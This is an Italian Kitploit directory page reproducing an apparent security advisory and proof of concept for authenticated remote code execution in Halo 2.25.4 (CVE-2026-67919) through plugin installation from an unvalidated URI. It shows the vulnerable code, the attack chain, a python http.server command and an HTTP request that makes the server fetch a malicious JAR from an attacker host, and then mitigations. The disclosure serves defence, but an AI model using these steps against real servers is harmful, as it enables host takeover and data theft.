Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
halo-2.25.4-CVE-2026-67919 — Dimostra una vulnerabilità di esecuzione remota di codice autenticata in Halo 2.25.4 tramite installazione di plugin URI non validata, inclusa analisi tecnica e proof-of-concept dello sfruttamento. | Kitploit
Strumenti/GitHubGitHub/unpredictable21/halo-2.25.4-cve-2026-67919
Analisi delle VulnerabilitàAnalisi del CodiceExploitSfruttamento di Applicazioni WebPenetration Testing
GitHubunpredictable21/halo-2.25.4-cve-2026-67919

halo-2.25.4-CVE-2026-67919

Dimostra una vulnerabilità di esecuzione remota di codice autenticata in Halo 2.25.4 tramite installazione di plugin URI non validata, inclusa analisi tecnica e proof-of-concept dello sfruttamento.

Vedi Repository
17 giorni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Esecuzione Remota di Codice (RCE) Autenticata tramite Installazione di Plugin da URI Non Validato in Halo 2.25.4

1. Riepilogo della Vulnerabilità

È stata identificata una vulnerabilità di sicurezza critica nella versione 2.25.4 di Halo. L'applicazione fornisce un endpoint amministrativo per installare o aggiornare plugin da un URI remoto. Tuttavia, il sistema non valida il dominio di origine dell'URI e non dispone di protezioni Server-Side Request Forgery (SSRF) su questo specifico componente. Un utente autenticato con privilegi di gestione dei plugin può fornire un collegamento a un file JAR di plugin creato in modo dannoso. Il server scaricherà, memorizzerà temporaneamente e caricherà dinamicamente il file JAR nel contesto JVM utilizzando il framework PF4J e DefaultPluginApplicationContextFactory di Spring. Ciò consente l'esecuzione di classi di estensione non attendibili, con conseguente Esecuzione Remota di Codice (RCE) arbitraria sul sistema operativo host sottostante.

2. Dettagli della Vulnerabilità

  • Tipo di Vulnerabilità: Code Injection / Esecuzione Remota di Codice (RCE)
  • ID CWE: CWE-94: Improper Control of Generation of Code ('Code Injection') / CWE-434: Unrestricted Upload of File with Dangerous Type
  • Gravità: 🔴 Critica
  • Punteggio CVSS v3.1 Stimato: 9.8 (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H)
  • Versione Interessata: Halo 2.25.4 (e potenzialmente versioni precedenti che supportano l'installazione di plugin tramite URI)
  • ID CVE: CVE-2026-67919
  • 3. Componenti Interessati

    Si prega di separare con virgole quando si invia al modulo CVE:

    Plaintext

    root@kitploit:~
    PluginEndpoint.java, installFromUri method, DefaultPluginApplicationContextFactory
    

    4. Vettore di Attacco

    Un amministratore autenticato può inviare una richiesta HTTP POST appositamente predisposta contenente un URL JAR di plugin remoto dannoso all'endpoint /apis/api.console.halo.run/v1alpha1/plugins/-/install-from-uri.

    5. Analisi Tecnica e Catena di Attacco

    L'esecuzione remota di codice avviene attraverso la seguente sequenza di operazioni:

    1. Ingestione dell'Endpoint: Il metodo PluginEndpoint.installFromUri() elabora il corpo della richiesta in arrivo (InstallFromUriRequest) ed estrae la stringa uri fornita dall'utente. Non viene applicato alcun filtro di whitelist del dominio.
    2. Recupero File Non Protetto: L'URI estratto viene passato a DefaultReactiveUrlDataBufferFetcher.fetch(uri). A differenza di altri componenti di rete interni in Halo, questo fetcher non richiama HttpSecurityUtils.secureHttpClient(), saltando le restrizioni sugli IP di rete privata/loopback interni (protezione SSRF).
    3. Persistenza Locale del File: Il contenuto in streaming scaricato dall'URI remoto viene scritto in una directory temporanea locale sul server host tramite writeToTempFile(content).
    4. Caricamento Dinamico delle Classi: L'applicazione passa il percorso temporaneo a pluginService.install(path), che sfrutta JarPluginLoader di PF4J per decomprimere e caricare il file JAR.
    5. Registrazione ed Esecuzione dei Bean Spring: Una volta che PF4J termina il caricamento del contesto, DefaultPluginApplicationContextFactory di Spring analizza automaticamente i metadati all'interno del plugin.yaml del plugin e registra tutte le classi di estensione dichiarate nel contesto dell'applicazione come Active Spring Beans.
    6. Attivazione dell'Esecuzione del Codice: Qualsiasi codice dannoso inserito nei blocchi di inizializzazione statica della classe di estensione (static {}) o nei blocchi di metodo annotati con @PostConstruct verrà eseguito immediatamente durante la creazione dell'istanza tramite Runtime.getRuntime().exec().

    Segmento di Codice Sorgente Vulnerabile (PluginEndpoint.java righe 422-428):

    Java

    root@kitploit:~
    var content = request.bodyToMono(InstallFromUriRequest.class)
        .map(InstallFromUriRequest::uri)
        .flatMapMany(reactiveUrlDataBufferFetcher::fetch);  // Unvalidated network fetch
    return Mono.usingWhen(writeToTempFile(content), pluginService::install, this::deleteFileIfExists);
    

    6. Prova di Concetto (PoC)

    Passo 1: Ospitare l'Artefatto Dannoso

    L'attaccante compila un file JAR di plugin PF4J/Halo standard (poc-plugin.jar) contenente una classe di estensione con un meccanismo di esecuzione del payload all'interno di un hook del ciclo di vita @PostConstruct o di un blocco statico. L'attaccante lo ospita su un listener esterno:

    Bash

    root@kitploit:~
    python3 -m http.server 9999
    

    Passo 2: Attivazione della Vulnerabilità

    L'utente amministrativo autenticato invia la seguente richiesta HTTP al server Halo di destinazione:

    HTTP

    root@kitploit:~
    POST /apis/api.console.halo.run/v1alpha1/plugins/-/install-from-uri HTTP/1.1
    Host: <target-ip>:8090
    Authorization: Bearer <ADMIN_TOKEN_HERE>
    Content-Type: application/json
    
    {
      "uri": "http://<attacker-ip>:9999/poc-plugin.jar"
    }
    

    Passo 3: Risultato Atteso

    Il server elabora l'installazione, recupera l'artefatto dal server dell'attaccante, registra l'estensione ed esegue il comando di sistema compilato, compromettendo l'host di destinazione.

    image
    image

    7. Impatto

    • Compromissione del Sistema: Accesso completo all'infrastruttura di hosting o al container Docker con i privilegi del processo dell'applicazione.
    • Furto di Dati: Esposizione diretta dei database backend, delle credenziali sensibili dell'applicazione, delle chiavi di configurazione (application.yaml) e dei file memorizzati.
    • Movimento Laterale: Il server può essere utilizzato come pivot per attaccare le reti interne del sito poiché il meccanismo di download può accedere a endpoint loopback o infrastrutture interne bypassando le regole di uscita standard.

    8. Raccomandazioni per la Mitigazione

    1. Applicare Whitelist Assolute dei Domini: Applicare regole di validazione rigorose sull'argomento uri in arrivo. Limitare gli schemi di installazione remota a marketplace ufficiali dell'ecosistema verificati e attendibili (ad es., https://awesome.halo.run).
    2. Integrare Fetcher Sicuri: Refactoring di DefaultReactiveUrlDataBufferFetcher per utilizzare l'utilità esistente HttpSecurityUtils.secureHttpClient() al fine di bloccare le richieste che puntano a loopback (127.0.0.1), link-local (169.254.169.254) o reti di classe privata (10.0.0.0/8, 192.168.0.0/16).
    3. Verifica Crittografica dei Plugin: Implementare uno standard di verifica della firma digitale per i moduli JAR esterni. Il contesto JarPluginLoader dovrebbe validare gli hash dei file o le firme crittografiche rispetto alle chiavi pubbliche fornite dal repository ufficiale prima di passarli a DefaultPluginApplicationContextFactory per l'istanziazione del contesto.
    Scarica lo strumento